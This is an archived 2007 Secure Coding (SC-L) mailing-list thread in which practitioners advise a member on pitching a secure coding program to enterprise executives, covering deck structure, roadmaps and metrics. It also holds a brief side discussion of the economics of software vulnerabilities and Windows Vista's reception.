Second, length: If you're going after a SVP or EVP, James, I'd keep  
the deck to ~3-5 slides. 1) Motivate the problem, 2) Show your org's.  
status (as an application security framework) and, 3) show the 6mo.,  
9mo., 12mo. (maybe) roadmap. Depending on the SVP, another two slides  
comparing you to others might work, as well as a slide that talks in  
more detail about costs, deliverables, and resource-requirements, and  
value.

Higher? I'd do two slides: 1) framework and 2) roadmap. The end.  
Place costs and value on the roadmap.

What about content? Longer decks I've seen (or helped create) have  
begun with research from analyst firms, or with pertinent headlines,  
to motivate the problem (couched as FUD if you're not careful) on  
slide one. Still, you'd be wise to pick fodder that will appear to  
the decision maker's own objectives. His/her objectives may be in  
pursuit of differentiation/opportunity or risk reduction, as Andrew  
said, or (more probably) they're pursuant to a more mundane goal:  
drive down (or hold constant) security cost while driving up the  
effectiveness of the spending.

To this end, the decks I've seen quickly moved beyond motivation into  
solution. Here, you have to begin thinking about your current org. See:

http://www.cigital.com/justiceleague/2007/02/22/keeping-up-with-the- 
jones-security-initiatives/

To summarize my entry, your organization probably didn't start  
thinking about software security yesterday, and they likely have  
something in place--even if it isn't to your satisfaction yet.  
Likewise, true strengths lurk, waiting to be leveraged. Out here in  
mailing-list-land, we can't be sure of specifics, but, I've got some  
premonitions. Insurance companies I've seen seem to mix small wild- 
wild-west (Developers cowboys 'follow' Agile as an excuse to just  
slam code without process) teams with those following a largely  
monolithic waterfall-like (regardless of how 'iterative' it's  
described) development process in their application portfolio. In  
either case, an in-project risk officer exists, but the function  
seems overshadowed by deadlines, features, and cost.

On the topic of the framework slide, you mentioned a _very_ important  
quality: who, what, when structure. I wrote an IEEE S&P article on  
this topic long ago:

www.cigital.com/papers/download/j2bsi.pdf

but you can also look at my talk from OWASP's DC conference in '05 on  
the same topic for slide help.

What about the roadmap--the way forward? Even if currently  
ineffective, current security items like an architectural review  
checklist present opportunity with which to start your roadmap. When  
working on your roadmap focus on how small iterative changes in  
existing elements (like that checklist) can save you on security  
effort (spending) later. Pick sure wins and to communicate value,  
show a metric that will demonstrate the savings. Propose measurements  
up front, if only verbally, as part of this presentation. For  
instance: Do your applications have available a custom implementation  
of input validation routines built on top of Struts' Validator  
framework? Ask about its use in the architectural checklist. Propose  
to measure penetration testing results in the input filtering class  
and correlate it with checklist answers. As you collect data you'll  
be building (or possibly but not hopefully destroying) the case for  
your expanded checklist and the savings it provides. There are a host  
of hidden measures embedded in this example, each shining light in a  
particular direction. Make sure each and every initiative can make  
use of such measures as justification.

Well, this is long enough for now. If there are topics you'd like me  
to enumerate more fully, or if I've missed something, shoot me an email.

Hope this helps, and sorry I didn't just attach a PPT ;)

----
John Steven
Technical Director; Principal, Software Security Group
Direct: (703) 404-5726 Cell: (703) 727-4034
Key fingerprint = 4772 F7F3 1019 4668 62AD  94B0 AE7F

Blog: http://www.cigital.com/justiceleague
http://www.cigital.com
Software Confidence. Achieved.


On Mar 19, 2007, at 4:12 PM, McGovern, James F ((HTSC, IT)) wrote:

> I agree with your assessment of how things are sold at a high-level  
> but still struggling in that it takes more than just graphicalizing  
> of your points to sell, hence I am still attempting to figure out a  
> way to get my hands on some PPT that are used internal to  
> enterprises prior to consulting engagements and I think a better  
> answer will emerge. PPT may provide a sense of budget, timelines,  
> roles and responsibilities, who needed to buy-in, industry metrics,  
> quotes from noted industry analysts, etc that will help shortcut my  
> own work so I can start moving towards the more important stuff.
> -----Original Message-----
> From: Andrew van der Stock [mailto:vanderaj at owasp.org]
> Sent: Monday, March 19, 2007 2:50 PM
> To: McGovern, James F (HTSC, IT)
> Cc: SC-L
> Subject: Re: [SC-L] How is secure coding sold within enterprises?
>
> There are two major methods:
>
> Opportunity cost / competitive advantage (the Microsoft model)
> Recovery cost reductions (the model used by most financial  
> institutions)
>
> Generally, opportunity cost is where an organization can further  
> its goals by a secure business foundation. This requires the CIO/ 
> CSO to be able to sell the business on this model, which is hard  
> when it is clear that many businesses have been founded on insecure  
> foundations and do quite well nonetheless. Companies that choose to  
> be secure have a competitive advantage, an advantage that will  
> increase over time and will win conquest customers. For example  
> (and this is my humble opinion), Oracle?s security is a long  
> standing unbreakable joke, and in the meantime MS ploughed billions  
> into fixing their tattered reputation by making it a competitive  
> advantage, and thus making their market dominance nearly complete.  
> Oracle is now paying for their CSO?s mistake in not understanding  
> this model earlier. Forward looking financial institutions are now  
> using this model, such as my old bank?s (with its SMS transaction  
> authentication feature) winning many new customers by not only  
> promoting themselves as secure, but doing the right thing and  
> investing in essentially eliminating Internet Banking fraud. It  
> saves them money, and it works well for customers. This is the best  
> model, but the hardest to sell.
>
> The second model is used by most financial institutions. They are  
> mature risk managers and understand that a certain level of risk  
> must be taken in return for doing business. By choosing to invest  
> some of the potential or known losses in reducing the potential for  
> massive losses, they can reduce the overall risk present in the  
> corporate risk register, which plays well to shareholders. For  
> example, if you invest $1m in securing a cheque clearance process  
> worth (say) $10b annually to the business, and that reduces check  
> fraud by $5m per year and eliminates $2m of unnecessary overhead  
> every year, security is an easy sell with obvious targets to  
> improve profitability. A well managed operational risk group will  
> easily identify the riskiest aspects of a mature company?s  
> activities, and it?s easy to justify improvements in those areas.
>
> The FUD model (used by many vendors - ?do this or the SOX boogeyman  
> will get you?) does not work.
>
> The do nothing model (used by nearly everyone who doesn?t fall into  
> the first two categories) works for a time, but can spectacularly  
> end a business. Card Systems anyone? Unknown risk is too risky a  
> proposition, and is plain director negligence in my view.
>
> Thanks,
> Andrew
>
>
> On 3/19/07 11:35 AM, "McGovern, James F (HTSC, IT)"  
> <James.McGovern at thehartford.com> wrote:
>
> I am attempting to figure out how other Fortune enterprises have  
> went about selling the need for secure coding practices and can't  
> seem to find the answer I seek. Essentially, I have discovered that  
> one of a few scenarios exist (a) the leadership chain was highly  
> technical and intuitively understood the need (b) the primary  
> business model of the enterprise is either banking, investments,  
> etc where the risk is perceived higher if it is not performed (c)  
> it was strongly encouraged by a member of a very large consulting  
> firm (e.g. McKinsey, Accenture, etc).
>
> I would like to understand what does the Powerpoint deck that  
> employees of Fortune enterprises use to sell the concept PRIOR to  
> bringing in consultants and vendors to help them fulfill the need.  
> Has anyone ran across any PPT that best outlines this for  
> demographics where the need is real but considered less important  
> than other intiatives?
>



----------------------------------------------------------------------------
This electronic message transmission contains information that may be
confidential or privileged.  The information contained herein is intended
solely for the recipient and use by any other party is not authorized.  If
you are not the intended recipient (or otherwise authorized to receive this
message by the intended recipient), any disclosure, copying, distribution or
use of the contents of the information is prohibited.  If you have received
this electronic message transmission in error, please contact the sender by
reply email and delete all copies of this message.  Cigital, Inc. accepts no
responsibility for any loss or damage resulting directly or indirectly from
the use of this email or its contents.
Thank You.
----------------------------------------------------------------------------
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://krvw.com/pipermail/sc-l/attachments/20070319/0f98053a/attachment-0001.html 

From coley at linus.mitre.org  Mon Mar 19 23:55:02 2007
From: coley at linus.mitre.org (Steven M. Christey)
Date: Tue, 20 Mar 2007 00:55:02 -0400 (EDT)
Subject: [SC-L] Economics of Software Vulnerabilities
In-Reply-To: <45FF111C.9010707@novell.com>
References: <83B3489DF1064F4E90218770D953D36107B8EA@va-mail.cigital.com>
	<45FEEBC9.6060703@novell.com> <45FEF226.3090803@aesec.com>
	<45FF111C.9010707@novell.com>
Message-ID: <Pine.GSO.4.51.0703200044190.19492@faron.mitre.org>


On Mon, 19 Mar 2007, Crispin Cowan wrote:

> Since many users are economically motivated, this may explain why users
> don't care much about security :)

But... but... but...

I understand the sentiment, but there's something missing in it.  Namely,
that the costs related to security are not really quantifiable yet, so
consumers are not working with the best information.  Then there's simple
lack of understanding, such as that exmplified by an individual consumer -
their computer gets really bogged down and slow, and they don't know
what's happening, so they go buy a new computer, when it was "just" a ton
of spyware from surfing habits that they didn't know were unsafe, or they
were running some zombie that was sucking up all their bandwidth for warez
distribution.

> > Eventually I think they'll get fed up and there'll be a consumer uprising.
> >
> Why do you think it will be an uprising? Why not a gradual shift of the
> vendors just get better, exactly as fast as the users need them to?

I really really wish for an uprising, but unfortunately I'm not too
optimistic right now.  Off the top of my head, I can't think of any
consumer uprisings in other industries, although the US' recent decline in
fuel-inefficient vehicles is sort of close.  Didn't some large
brick-and-mortar companies heavily criticize the software industry a
couple years ago?  I don't know how that played out.

- Steve

From mshines at purdue.edu  Tue Mar 20 07:55:55 2007
From: mshines at purdue.edu (Michael S Hines)
Date: Tue, 20 Mar 2007 08:55:55 -0400
Subject: [SC-L] Economics of Software Vulnerabilities
In-Reply-To: <45FEEBC9.6060703@novell.com>
References: <83B3489DF1064F4E90218770D953D36107B8EA@va-mail.cigital.com>
	<45FEEBC9.6060703@novell.com>
Message-ID: <006701c76aef$198e9090$4ea7d280@central.purdue.lcl>

I'm not sure what your sources are but from what I'm hearing and reading the
problem is that there are many missing drivers for what have become standard
peripherals that people are used to - and some of the vendors are reluctant
to develop new drivers (the driver technology changed in Vista - so all
drivers have to be reworked).

MP3 players, ePhones, PDA's, etc. have become standard components in many
places...  and they don't work with Vista - yet (if ever).

It's the feature thing.... not that users are shunning security.

And, at least to me, it is an indication that M$ did not understand the
marketplace or rushed the (incomplete) product to market.  There's more than
one way to foul up a new product launch.

IMHO of course.

-----------------------------
Michael S Hines
mshines at purdue.edu
-----Original Message-----
From: sc-l-bounces at securecoding.org [mailto:sc-l-bounces at securecoding.org]
On Behalf Of Crispin Cowan
Sent: Monday, March 19, 2007 4:00 PM
To: Gary McGraw
Cc: Ed Reed; sc-l at securecoding.org
Subject: Re: [SC-L] Economics of Software Vulnerabilities

Gary McGraw wrote:
> I'm not sure vista is bombing because of good quality.   That certainly
would be ironic.
>
> Word on the "way down in the guts" street is that vista is too many things
cobbled together into one big kinda functioning mess.
I.e. it is mis-featured, and lacks on some integration. This is a variation
on not having desired features. And there certainly are big features in
Vista that were supposed to be there but aren't (most of user-land being
managed code, relational file system).

It is also infamously late.

So if the resources that were put into the code quality in Vista had instead
been put into features and ship-date, would it do better in the marketplace?

Sure, that's heretical :) but it just might be true :(

Crispin, now believes that users are fundamentally what holds back security

--
Crispin Cowan, Ph.D.               http://crispincowan.com/~crispin/
Director of Software Engineering   http://novell.com
AppArmor Training at CanSec West   http://cansecwest.com/dojoapparmor.html

_______________________________________________
Secure Coding mailing list (SC-L) SC-L at securecoding.org List information,
subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l
List charter available at - http://www.securecoding.org/list/charter.php
SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
as a free, non-commercial service to the software security community.
_______________________________________________



From jsteven at cigital.com  Tue Mar 20 08:13:08 2007
From: jsteven at cigital.com (John Steven)
Date: Tue, 20 Mar 2007 09:13:08 -0400
Subject: [SC-L] How is secure coding sold within enterprises?
In-Reply-To: <2C9A6525-063E-4603-927E-8C0867CEE76B@cigital.com>
References: <773F863A6009244B87E6E866AFC7DB46019CA593@AD1HFDEXC309.ad1.prod>
	<2C9A6525-063E-4603-927E-8C0867CEE76B@cigital.com>
Message-ID: <6718D83E-F710-4F8C-94E9-2311F12B9085@cigital.com>

James,

I can't believe I forgot to mention the presentation before mine at  
that particular OWASP con. Anthony Canike did an exceptional job  
chronicling what he had done at Vanguard. This presentation, if I  
recall correctly, should have some fodder for you.

www.owasp.org/images/0/05/AppSec2005DC-Anthony_Canike- 
Enterprise_AppSec_Program.ppt

----
John Steven
Technical Director; Principal, Software Security Group
Direct: (703) 404-5726 Cell: (703) 727-4034
Key fingerprint = 4772 F7F3 1019 4668 62AD  94B0 AE7F

Blog: http://www.cigital.com/justiceleague
http://www.cigital.com
Software Confidence. Achieved.


On Mar 19, 2007, at 9:55 PM, John Steven wrote:

> Andrew, James,
>
> Agreed, Microsoft has put some interesting thoughts out in their  
> SDL book. Companies that produce a software product will find a lot  
> of this approach resonates well. IT shops supporting financial  
> houses will have more difficulty. McGraw wrote a decent blog entry  
> on this topic:
>
> http://www.cigital.com/justiceleague/2007/03/08/cigitals- 
> touchpoints-versus-microsofts-sdl/
>
> Shockingly, however, I seem to be his only commentator on the topic.
>
> I think James will find Microsoft's literature falls terribly short  
> of even the raw material required to produce the PPT he desires.  
> Let's see what we can do for him.
>
> First: audience. I'm not sure of James' position, but it doesn't  
> sound like he's high enough that he's got the CISO's ear now, nor  
> that he's face-down in the weeds either. James, you sit somewhere  
> in-between? James appears to work for an insurance company.  
> Insurance companies do care about risk, but they're sometimes blind  
> to the kinds (and magnitudes) of software risk their business  
> faces. They fall in a middle ground between securities companies  
> and banks.
>
> Second, length: If you're going after a SVP or EVP, James, I'd keep  
> the deck to ~3-5 slides. 1) Motivate the problem, 2) Show your  
> org's. status (as an application security framework) and, 3) show  
> the 6mo., 9mo., 12mo. (maybe) roadmap. Depending on the SVP,  
> another two slides comparing you to others might work, as well as a  
> slide that talks in more detail about costs, deliverables, and  
> resource-requirements, and value.
>
> Higher? I'd do two slides: 1) framework and 2) roadmap. The end.  
> Place costs and value on the roadmap.
> What about content? Longer decks I've seen (or helped create) have  
> begun with research from analyst firms, or with pertinent  
> headlines, to motivate the problem (couched as FUD if you're not  
> careful) on slide one. Still, you'd be wise to pick fodder that  
> will appear to the decision maker's own objectives. His/her  
> objectives may be in pursuit of differentiation/opportunity or risk  
> reduction, as Andrew said, or (more probably) they're pursuant to a  
> more mundane goal: drive down (or hold constant) security cost  
> while driving up the effectiveness of the spending.
>
> To this end, the decks I've seen quickly moved beyond motivation  
> into solution. Here, you have to begin thinking about your current  
> org. See:
>
> http://www.cigital.com/justiceleague/2007/02/22/keeping-up-with-the- 
> jones-security-initiatives/
>
> To summarize my entry, your organization probably didn't start  
> thinking about software security yesterday, and they likely have  
> something in place--even if it isn't to your satisfaction yet.  
> Likewise, true strengths lurk, waiting to be leveraged. Out here in  
> mailing-list-land, we can't be sure of specifics, but, I've got  
> some premonitions. Insurance companies I've seen seem to mix small  
> wild-wild-west (Developers cowboys 'follow' Agile as an excuse to  
> just slam code without process) teams with those following a  
> largely monolithic waterfall-like (regardless of how 'iterative'  
> it's described) development process in their application portfolio.  
> In either case, an in-project risk officer exists, but the function  
> seems overshadowed by deadlines, features, and cost.
>
> On the topic of the framework slide, you mentioned a _very_  
> important quality: who, what, when structure. I wrote an IEEE S&P  
> article on this topic long ago:
>
> www.cigital.com/papers/download/j2bsi.pdf
>
> but you can also look at my talk from OWASP's DC conference in '05  
> on the same topic for slide help.
>
> What about the roadmap--the way forward? Even if currently  
> ineffective, current security items like an architectural review  
> checklist present opportunity with which to start your roadmap.  
> When working on your roadmap focus on how small iterative changes  
> in existing elements (like that checklist) can save you on security  
> effort (spending) later. Pick sure wins and to communicate value,  
> show a metric that will demonstrate the savings. Propose  
> measurements up front, if only verbally, as part of this  
> presentation. For instance: Do your applications have available a  
> custom implementation of input validation routines built on top of  
> Struts' Validator framework? Ask about its use in the architectural  
> checklist. Propose to measure penetration testing results in the  
> input filtering class and correlate it with checklist answers. As  
> you collect data you'll be building (or possibly but not hopefully  
> destroying) the case for your expanded checklist and the savings it  
> provides. There are a host of hidden measures embedded in this  
> example, each shining light in a particular direction. Make sure  
> each and every initiative can make use of such measures as  
> justification.
>
> Well, this is long enough for now. If there are topics you'd like  
> me to enumerate more fully, or if I've missed something, shoot me  
> an email.
>
> Hope this helps, and sorry I didn't just attach a PPT ;)
> ----
> John Steven
> Technical Director; Principal, Software Security Group
> Direct: (703) 404-5726 Cell: (703) 727-4034
> Key fingerprint = 4772 F7F3 1019 4668 62AD 94B0 AE7F
>
> Blog: http://www.cigital.com/justiceleague
> http://www.cigital.com
> Software Confidence. Achieved.
>
>
> On Mar 19, 2007, at 4:12 PM, McGovern, James F ((HTSC, IT)) wrote:
>
>> I agree with your assessment of how things are sold at a high- 
>> level but still struggling in that it takes more than just  
>> graphicalizing of your points to sell, hence I am still attempting  
>> to figure out a way to get my hands on some PPT that are used  
>> internal to enterprises prior to consulting engagements and I  
>> think a better answer will emerge. PPT may provide a sense of  
>> budget, timelines, roles and responsibilities, who needed to buy- 
>> in, industry metrics, quotes from noted industry analysts, etc  
>> that will help shortcut my own work so I can start moving towards  
>> the more important stuff.
>> -----Original Message-----
>> From: Andrew van der Stock [mailto:vanderaj at owasp.org]
>> Sent: Monday, March 19, 2007 2:50 PM
>> To: McGovern, James F (HTSC, IT)
>> Cc: SC-L
>> Subject: Re: [SC-L] How is secure coding sold within enterprises?
>>
>> There are two major methods:
>>
>> Opportunity cost / competitive advantage (the Microsoft model)
>> Recovery cost reductions (the model used by most financial  
>> institutions)
>>
>> Generally, opportunity cost is where an organization can further  
>> its goals by a secure business foundation. This requires the CIO/ 
>> CSO to be able to sell the business on this model, which is hard  
>> when it is clear that many businesses have been founded on  
>> insecure foundations and do quite well nonetheless. Companies that  
>> choose to be secure have a competitive advantage, an advantage  
>> that will   increase over time and will win conquest customers.  
>> For example (and this is my humble opinion), Oracle?s security is  
>> a long standing unbreakable joke, and in the meantime MS ploughed  
>> billions into fixing their tattered reputation by making it a  
>> competitive advantage, and thus making their market dominance  
>> nearly complete. Oracle is now paying for their CSO?s mistake in  
>> not understanding this model earlier. Forward looking financial  
>> institutions are now using this model, such as my old bank?s (with  
>> its SMS transaction authentication feature) winning many new  
>> customers by not only promoting themselves as secure, but doing  
>> the right thing and investing in essentially eliminating Internet  
>> Banking fraud. It saves them money, and it works well for  
>> customers. This is the best model, but the hardest to sell.
>>
>> The second model is used by most financial institutions. They are  
>> mature risk managers and understand that a certain level of risk  
>> must be taken in return for doing business. By choosing to invest  
>> some of the potential or known losses in reducing the potential  
>> for massive losses, they can reduce the overall risk present in  
>> the corporate risk register, which plays well to shareholders. For  
>> example, if you invest $1m in securing a cheque clearance process  
>> worth (say) $10b annually to the business, and that reduces check  
>> fraud by $5m per year and eliminates $2m of unnecessary overhead  
>> every year, security is an easy sell with obvious targets to  
>> improve profitability. A well managed operational risk group will  
>> easily identify the riskiest aspects of a mature company?s  
>> activities, and it?s easy to justify improvements in those areas.
>>
>> The FUD model (used by many vendors - ?do this or the SOX  
>> boogeyman will get you?) does not work.
>>
>> The do nothing model (used by nearly everyone who doesn?t fall  
>> into the first two categories) works for a time, but can  
>> spectacularly end a business. Card Systems anyone? Unknown risk is  
>> too risky a proposition, and is plain director negligence in my view.
>>
>> Thanks,
>> Andrew
>>
>>
>> On 3/19/07 11:35 AM, "McGovern, James F (HTSC, IT)"  
>> <James.McGovern at thehartford.com> wrote:
>>
>> I am attempting to figure out how other Fortune enterprises have  
>> went about selling the need for secure coding practices and can't  
>> seem to find the answer I seek. Essentially, I have discovered  
>> that one of a few scenarios exist (a) the leadership chain was  
>> highly technical and intuitively understood the need (b) the  
>> primary business model of the enterprise is either banking,  
>> investments, etc where the risk is perceived higher if it is not  
>> performed (c) it was strongly encouraged by a member of a very  
>> large consulting firm (e.g. McKinsey, Accenture, etc).
>>
>> I would like to understand what does the Powerpoint deck that  
>> employees of Fortune enterprises use to sell the concept PRIOR to  
>> bringing in consultants and vendors to help them fulfill the need.  
>> Has anyone ran across any PPT that best outlines this for  
>> demographics where the need is real but considered less important  
>> than other intiatives?
>>
>
>
>
> This electronic message transmission contains information that may  
> be confidential or privileged. The information contained herein is  
> intended solely for the recipient and use by any other party is not  
> authorized. If you are not the intended recipient (or otherwise  
> authorized to receive this message by the intended recipient), any  
> disclosure, copying, distribution or use of the contents of the  
> information is prohibited. If you have received this electronic  
> message transmission in error, please contact the sender by reply  
> email and delete all copies of this message. Cigital, Inc. accepts  
> no responsibility for any loss or damage resulting directly or  
> indirectly from the use of this email or its contents.
> Thank You.
>
> _______________________________________________
> Secure Coding mailing list (SC-L) SC-L at securecoding.org
> List information, subscriptions, etc - http://krvw.com/mailman/ 
> listinfo/sc-l
> List charter available at - http://www.securecoding.org/list/ 
> charter.php
> SC-L is hosted and moderated by KRvW Associates, LLC (http:// 
> www.KRvW.com)
> as a free, non-commercial service to the software security community.
> _______________________________________________



----------------------------------------------------------------------------
This electronic message transmission contains information that may be
confidential or privileged.  The information contained herein is intended
solely for the recipient and use by any other party is not authorized.  If
you are not the intended recipient (or otherwise authorized to receive this
message by the intended recipient), any disclosure, copying, distribution or
use of the contents of the information is prohibited.  If you have received
this electronic message transmission in error, please contact the sender by
reply email and delete all copies of this message.  Cigital, Inc. accepts no
responsibility for any loss or damage resulting directly or indirectly from
the use of this email or its contents.
Thank You.
----------------------------------------------------------------------------
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://krvw.com/pipermail/sc-l/attachments/20070320/549a3035/attachment-0001.html 

From James.McGovern at thehartford.com  Tue Mar 20 08:34:51 2007
From: James.McGovern at thehartford.com (McGovern, James F (HTSC, IT))
Date: Tue, 20 Mar 2007 09:34:51 -0400
Subject: [SC-L] How is secure coding sold within enterprises?
In-Reply-To: <C2247375.2E56%vanderaj@owasp.org>
Message-ID: <773F863A6009244B87E6E866AFC7DB46019CA595@AD1HFDEXC309.ad1.prod>

Thanks for the response. I already own the book and understand how to engage vendors. Where I am seeking assistance is all the work that goes on within a large enterprise before these two things occur. The ideal situation for me would be to get my hands on the five to ten page Powerpoint slide deck that others who have blazed this path before me have used to sell the notion to their executives.

-----Original Message-----
From: Andrew van der Stock [mailto:vanderaj at owasp.org]
Sent: Monday, March 19, 2007 5:06 PM
To: McGovern, James F (HTSC, IT)
Cc: SC-L
Subject: Re: [SC-L] How is secure coding sold within enterprises?


In terms of creating a SDLC, pop out to Borders and get Howard and Lipner's "The Security Development Lifecycle" ISBN 9780735622142

http://www.microsoft.com/mspress/books/8753.aspx

It is simply the best text I've read in a long time. 

You may be interested in the work Mark Curphey et al is doing at his new start up. They launched an ISM portal a couple of weeks back. 

http://www.ism-community.org/

If you're just after ideas on how to engage vendors, check out Curphey's blog for some nice insider posts:

http://securitybuddha.com/2007/03/07/top-10-tips-for-hiring-web-application-pen-testers/
http://securitybuddha.com/2007/03/07/top-ten-tips-for-hiring-security-code-reviewers/
http://securitybuddha.com/2007/03/08/top-ten-tips-for-managing-technical-security-folks/

He ran Foundstone's services for a while, and built up a pretty good consultancy. 

The sort of metrics you're after are notoriously hard to find out in the wild. There's some folks capturing screenshots of enterprise dashboards. This may or may not help at all. 

http://dashboardspy.com/

Thanks,
Andrew


On 3/19/07 4:12 PM, "McGovern, James F (HTSC, IT)" <James.McGovern at thehartford.com> wrote:



I agree with your assessment of how things are sold at a high-level but still struggling in that it takes more than just graphicalizing of your points to sell, hence I am still attempting to figure out a way to get my hands on some PPT that are used internal to enterprises prior to consulting engagements and I think a better answer will emerge. PPT may provide a sense of budget, timelines, roles and responsibilities, who needed to buy-in, industry metrics, quotes from noted industry analysts, etc that will help shortcut my own work so I can start moving towards the more important stuff.



-----Original Message-----
From: Andrew van der Stock  [ mailto:vanderaj at owasp.org]
Sent: Monday, March 19, 2007 2:50  PM
To: McGovern, James F (HTSC, IT)
Cc:  SC-L
Subject: Re: [SC-L] How is secure coding sold within  enterprises?

There are two major methods:

 


1.	Opportunity cost / competitive advantage (the  Microsoft model)   

2.	Recovery cost reductions (the model used by most  financial institutions)



Generally,  opportunity cost is where an organization can further its goals by a secure  business foundation. This requires the CIO/CSO to be able to sell the business  on this model, which is hard when it is clear that many businesses have been  founded on insecure foundations and do quite well nonetheless. Companies that  choose to be secure have a competitive advantage, an advantage that will  increase over time and will win conquest customers. For example (and this is  my humble opinion), Oracle's security is a long standing unbreakable joke, and  in the meantime MS ploughed billions into fixing their tattered reputation by  making it a competitive advantage, and thus making their market dominance  nearly complete. Oracle is now paying for their CSO's mistake in not  understanding this model earlier. Forward looking financial institutions are  now using this model, such as my old bank's (with its SMS transaction  authentication feature) winning many new customers by not only promoting  themselves as secure, but doing the right thing and investing in essentially  eliminating Internet Banking fraud. It saves them money, and it works well for  customers. This is the best model, but the hardest to sell.

The second  model is used by most financial institutions. They are mature risk managers  and understand that a certain level of risk must be taken in return for doing  business. By choosing to invest some of the potential or known losses in  reducing the potential for massive losses, they can reduce the overall risk  present in the corporate risk register, which plays well to shareholders. For  example, if you invest $1m in securing a cheque clearance process worth (say)  $10b annually to the business, and that reduces check fraud by $5m per year  and eliminates $2m of unnecessary overhead every year, security is an easy  sell with obvious targets to improve profitability. A well managed operational  risk group will easily identify the riskiest aspects of a mature company's  activities, and it's easy to justify improvements in those areas. 

The  FUD model (used by many vendors - "do this or the SOX boogeyman will get you")  does not work.

The do nothing model (used by nearly everyone who  doesn't fall into the first two categories) works for a time, but can  spectacularly end a business. Card Systems anyone? Unknown risk is too risky a  proposition, and is plain director negligence in my view.  

Thanks,
Andrew 


On 3/19/07 11:35 AM, "McGovern, James F  (HTSC, IT)" <James.McGovern at thehartford.com> wrote:

 


I am attempting to figure out how other Fortune enterprises have  went about selling the need for secure coding practices and can't seem to  find the answer I seek. Essentially, I have discovered that one of a few  scenarios exist (a) the leadership chain was highly technical and  intuitively understood the need (b) the primary business model of the  enterprise is either banking, investments, etc where the risk is perceived  higher if it is not performed (c) it was strongly encouraged by a member of  a very large consulting firm (e.g. McKinsey, Accenture,  etc).

I would like to understand what does the Powerpoint deck that  employees of Fortune enterprises use to sell the concept PRIOR  to bringing in consultants and vendors to help them fulfill the need. Has  anyone ran across any PPT that best outlines this for demographics where the  need is real but considered less important than other  intiatives?


*************************************************************************
This  communication, including attachments, is
for the exclusive use of  addressee and may contain proprietary,
confidential and/or privileged  information.  If you are not the intended
recipient, any use,  copying, disclosure, dissemination or distribution is
strictly  prohibited.  If you are not the intended recipient, please  notify
the sender immediately by return e-mail, delete this communication  and
destroy all  copies.
*************************************************************************

 

  _____  

_______________________________________________
Secure  Coding mailing list (SC-L) SC-L at securecoding.org
List information,  subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l
List  charter available at - http://www.securecoding.org/list/charter.php
SC-L  is hosted and moderated by KRvW Associates, LLC ( http://www.KRvW.com)
as a free,  non-commercial service to the software security  community.
_______________________________________________







  _____  

_______________________________________________
Secure Coding mailing list (SC-L) SC-L at securecoding.org
List information, subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l
List charter available at - http://www.securecoding.org/list/charter.php
SC-L is hosted and moderated by KRvW Associates, LLC ( http://www.KRvW.com)
as a free, non-commercial service to the software security community.
_______________________________________________





-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://krvw.com/pipermail/sc-l/attachments/20070320/7811aff3/attachment.html 

From James.McGovern at thehartford.com  Tue Mar 20 08:47:19 2007
From: James.McGovern at thehartford.com (McGovern, James F (HTSC, IT))
Date: Tue, 20 Mar 2007 09:47:19 -0400
Subject: [SC-L] How is secure coding sold within enterprises?
In-Reply-To: <2C9A6525-063E-4603-927E-8C0867CEE76B@cigital.com>
Message-ID: <773F863A6009244B87E6E866AFC7DB46019CA596@AD1HFDEXC309.ad1.prod>

John, thanks for the response and I think you have an understanding of the essence of the problem in that current books don't cover the "selling" security aspects nor how things actually work in large corporations. One of the benefits to me seeing someone's deck that went before me is that I get to see and understand not only salient points, but also how they were presented in terms of order and emphasis. I of course could like most folks who are new to a space is to take a first shot at it and mercilessly iterate but I do think it is wise to figure out ways to leverage the work of my peers in other enterprises (of course I can return the favor on other initiatives) and only iterate based on local custom and not broader themes.
 
In terms of job grade, no I am not an EVP nor am I a developer. I someone higher on the foodchain than most in that my responsibilities include strategic direction. Likewise, the issue in terms of selling is really about budget, but it is about first buy-in of all participants throughout the enterprise and secondly the ability to make the case once we collectively conclude that we need consulting assistance, the ability to go off preferred vendor list and make the right choice.
 
Based on your comment, in your opinion, I would love to know which analysts should I quote and if you know of specific gems? In terms of keeping up with the Joneses, part of this requires the ability to understand what others are up to. From what I can tell from this list, I have only seen replies from two Fortune enterprises where the vast majority of other folks either have some government connection and/or employed by software vendors/consulting firms. One of my concerns with why ideas sometimes don't fly is not do to validity but the perception that if one waits it out, things will get better and more efficiency in terms of spend will emerge. In other words, one perception may be that focusing on secure coding is too early (Yes, the current description of why it is important is valid but it doesn't address the early concern)
 
Got any URLs to any good architectural checklists? I have only ran across code-oriented ones.
 
Anyone seen any good pictorial representations of roadmaps in this space?

-----Original Message-----
From: sc-l-bounces at securecoding.org [mailto:sc-l-bounces at securecoding.org]On Behalf Of John Steven
Sent: Monday, March 19, 2007 9:56 PM
To: McGovern, James F (HTSC, IT)
Cc: SC-L
Subject: Re: [SC-L] How is secure coding sold within enterprises?


Andrew, James, 


Agreed, Microsoft has put some interesting thoughts out in their SDL book. Companies that produce a software product will find a lot of this approach resonates well. IT shops supporting financial houses will have more difficulty. McGraw wrote a decent blog entry on this topic:


http://www.cigital.com/justiceleague/2007/03/08/cigitals-touchpoints-versus-microsofts-sdl/



Shockingly, however, I seem to be his only commentator on the topic.


I think James will find Microsoft's literature falls terribly short of even the raw material required to produce the PPT he desires. Let's see what we can do for him.


First: audience. I'm not sure of James' position, but it doesn't sound like he's high enough that he's got the CISO's ear now, nor that he's face-down in the weeds either. James, you sit somewhere in-between? James appears to work for an insurance company. Insurance companies do care about risk, but they're sometimes blind to the kinds (and magnitudes) of software risk their business faces. They fall in a middle ground between securities companies and banks. 


Second, length: If you're going after a SVP or EVP, James, I'd keep the deck to ~3-5 slides. 1) Motivate the problem, 2) Show your org's. status (as an application security framework) and, 3) show the 6mo., 9mo., 12mo. (maybe) roadmap. Depending on the SVP, another two slides comparing you to others might work, as well as a slide that talks in more detail about costs, deliverables, and resource-requirements, and value.


Higher? I'd do two slides: 1) framework and 2) roadmap. The end. Place costs and value on the roadmap.

What about content? Longer decks I've seen (or helped create) have begun with research from analyst firms, or with pertinent headlines, to motivate the problem (couched as FUD if you're not careful) on slide one. Still, you'd be wise to pick fodder that will appear to the decision maker's own objectives. His/her objectives may be in pursuit of differentiation/opportunity or risk reduction, as Andrew said, or (more probably) they're pursuant to a more mundane goal: drive down (or hold constant) security cost while driving up the effectiveness of the spending. 


